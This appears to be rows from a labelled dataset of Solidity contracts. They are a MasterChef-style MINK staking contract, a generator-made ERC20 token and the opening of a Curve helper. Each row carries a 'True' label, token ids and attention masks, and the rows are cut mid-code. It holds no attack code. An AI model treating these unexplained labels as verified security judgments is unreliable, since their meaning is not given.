muliplier for early mink makers. uint256 public constant BONUS_MULTIPLIER = 10; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when MINK mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( MinkToken _mink, address _devaddr, uint256 _minkPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { mink = _mink; devaddr = _devaddr; minkPerBlock = _minkPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accMinkPerShare: 0 })); } // Update the given pool's MINK allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending MINKs on frontend. function pendingMink(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accMinkPerShare = pool.accMinkPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 minkReward = multiplier.mul(minkPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accMinkPerShare = accMinkPerShare.add(minkReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accMinkPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 minkReward = multiplier.mul(minkPerBlock).mul(pool.allocPoint).div(totalAllocPoint); mink.mint(devaddr, minkReward.div(10)); mink.mint(address(this), minkReward); pool.accMinkPerShare = pool.accMinkPerShare.add(minkReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for MINK allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accMinkPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeMinkTransfer(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accMinkPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accMinkPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeMinkTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accMinkPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _pid, amount); } // Safe mink transfer function, just in case if rounding error causes pool to not have enough MINKs. function safeMinkTransfer(address _to, uint256 _amount) internal { uint256 minkBal = mink.balanceOf(address(this)); if (_amount > minkBal) { mink.transfer(_to, minkBal); } else { mink.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 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/** Submitted for verification at Etherscan.io on 2021-06-12 / // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. / // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /* * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright / contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /* * @dev Returns the token generator tool. / function generator() public pure returns (string memory) { return _GENERATOR; } /* * @dev Returns the token generator version. / function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /* * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2260, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 1008, 2009, 2003, 2525, 20119, 1012, 1008, 1008, 5860, 19771, 5017, 1024, 13103, 1005, 1055, 3166, 2003, 2489, 1997, 2151, 14000, 4953, 1996, 19204, 1998, 1996, 2224, 2008, 2003, 2081, 1997, 2009, 1012, 1008, 1996, 2206, 3642, 2003, 3024, 2104, 10210, 6105, 1012, 3087, 2064, 2224, 2009, 2004, 2566, 2037, 3791, 1012, 1008, 1996, 13103, 1005, 1055, 3800, 2003, 2000, 2191, 2111, 2583, 2000, 19204, 4697, 2037, 4784, 2302, 16861, 2030, 7079, 2005, 2009, 1012, 1008, 3120, 3642, 2003, 2092, 7718, 1998, 10843, 7172, 2000, 5547, 3891, 1997, 12883, 1998, 2000, 8970, 2653, 20600, 2015, 1012, 1008, 4312, 1996, 5309, 1997, 19204, 2015, 7336, 1037, 2152, 3014, 1997, 3891, 1012, 2077, 13868, 19204, 2015, 1010, 2009, 2003, 6749, 2000, 1008, 5362, 21094, 2035, 1996, 2592, 1998, 10831, 6851, 1999, 19204, 3954, 1005, 1055, 3785, 1012, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-03-14 / // SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma experimental ABIEncoderV2; interface ICurveStethPool { function add_liquidity(uint256[2] memory, uint256) external payable returns (uint256); function remove_liquidity(uint256, uint256[2] memory) external returns (uint256[2] memory); function remove_liquidity_imbalance(uint256[2] memory, uint256) external returns (uint256); } interface IAddressProvider { function admin() external view returns (address); function get_registry() external view returns (address); function get_address(uint256 _id) external view returns (address); } interface ISwaps { ///@notice Perform an exchange using the pool that offers the best rate ///@dev Prior to calling this function, the caller must approve /// this contract to transfer `_amount` coins from `_from` /// Does NOT check rates in factory-deployed pools ///@param _from Address of coin being sent ///@param _to Address of coin being received ///@param _amount Quantity of `_from` being sent ///@param _expected Minimum quantity of `_from` received /// in order for the transaction to succeed ///@param _receiver Address to transfer the received tokens to ///@return uint256 Amount received function exchange_with_best_rate( address _from, address _to, uint256 _amount, uint256 _expected, address _receiver ) external payable returns (uint256); ///@notice Perform an exchange using a specific pool ///@dev Prior to calling this function, the caller must approve /// this contract to transfer `_amount` coins from `_from` /// Works for both regular and factory-deployed pools ///@param _pool Address of the pool to use for the swap ///@param _from Address of coin being sent ///@param _to Address of coin being received ///@param _amount Quantity of `_from` being sent ///@param _expected Minimum quantity of `_from` received /// in order for the transaction to succeed ///@param _receiver Address to transfer the received tokens to ///@return uint256 Amount received function exchange( address _pool, address _from, address _to, uint256 _amount, uint256 _expected, address _receiver ) external payable returns (uint256); ///@notice Find the pool offering the best rate for a given swap. ///@dev Checks rates for regular and factory pools ///@param _from Address of coin being sent ///@param _to Address of coin being received ///@param _amount Quantity of `_from` being sent ///@param _exclude_pools A list of up to 8 addresses which shouldn't be returned ///@return Pool address, amount received function get_best_rate( address _from, address _to, uint256 _amount, address[8] memory _exclude_pools ) external view returns (address, uint256); ///@notice Get the current number of coins received in an exchange ///@dev Works for both regular and factory-deployed pools ///@param _pool Pool address ///@param _from Address of coin to be sent ///@param _to Address of coin to be received ///@param _amount Quantity of `_from` to be sent ///@return Quantity of `_to` to be received function get_exchange_amount( address _pool, address _from, address _to, uint256 _amount ) external view returns (uint256); ///@notice Get the current number of coins required to receive the given amount in an exchange ///@param _pool Pool address ///@param _from Address of coin to be sent ///@param _to Address of coin to be received ///@param _amount Quantity of `_to` to be received ///@return Quantity of `_from` to be sent function get_input_amount( address _pool, address _from, address _to, uint256 _amount ) external view returns (uint256); ///@notice Get the current number of coins required to receive the given amount in an exchange ///@param _pool Pool address ///@param _from Address of coin to be sent ///@param _to Address of coin to be received ///@param _amounts Quantity of `_to` to be received ///@return Quantity of `_from` to be sent function get_exchange_amounts( address _pool, address _from, address _to, uint256[] memory _amounts ) external view returns (uint256[] memory); ///@notice Set calculator contract ///@dev Used to calculate `get_dy` for a pool ///@param _pool Pool address ///@return `CurveCalc` address function get_calculator(address _pool) external view returns (address); } interface IRegistry { function get_lp_token(address) external view returns (address); function get_pool_from_lp_token(address) external view returns (address); function get_pool_name(address) external view returns(string memory); function get_coins(address) external view returns (address[8] memory); function get_underlying_coins(address) external view returns (address[8] memory); function get_decimals(address) external view returns (uint256[8] memory); function get_underlying_decimals(address) external view returns (uint256[8] memory); function get_balances(address) external view returns (uint256[8] memory); function get_underlying_balances(address) external view returns (uint256[8] memory); function get_virtual_price_from_lp_token(address) external view returns (uint256); function get_gauges(address) external view returns (address[10] memory, int128[10] memory); function pool_count() external view returns (uint256); function pool_list(uint256) external view returns (address); } interface IMinter { function mint(address _gaugeAddr) external; function mint_many(address[8] memory _gaugeAddrs) external; } interface IVotingEscrow { function create_lock(uint256 _amount, uint256 _unlockTime) external; function increase_amount(uint256 _amount) external; function increase_unlock_time(uint256 _unlockTime) external; function withdraw() external; } interface IFeeDistributor { function claim(address) external returns (uint256); } contract MainnetCurveAddresses { address internal constant CRV_TOKEN_ADDR = 0xD533a949740bb3306d119CC777fa900bA034cd52; address internal constant CRV_3CRV_TOKEN_ADDR = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; address internal constant ADDRESS_PROVIDER_ADDR = 0x0000000022D53366457F9d5E68Ec105046FC4383; address internal constant MINTER_ADDR = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; address internal constant VOTING_ESCROW_ADDR = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; address internal constant FEE_DISTRIBUTOR_ADDR = 0xA464e6DCda8AC41e03616F95f4BC98a13b8922Dc; } contract CurveHelper is MainnetCurveAddresses { IAddressProvider public constant AddressProvider = IAddressProvider(ADDRESS_PROVIDER_ADDR); IMinter public constant Minter = IMinter(MINTER_ADDR); IVotingEscrow public constant VotingEscrow = IVotingEscrow(VOTING_ESCROW_ADDR); IFeeDistributor public constant FeeDistributor = IFeeDistributor(FEE_DISTRIBUTOR_ADDR); function getSwaps() internal view returns (ISwaps) { return ISwaps(AddressProvider.get_address(2)); } function getRegistry() internal view returns (IRegistry) { return IRegistry(AddressProvider.get_registry()); } } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256 digits); function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } abstract contract IWETH { function allowance(address, address) public virtual view returns (uint256); function balanceOf(address) public virtual view returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom( address, address, uint256 ) public virtual returns (bool); 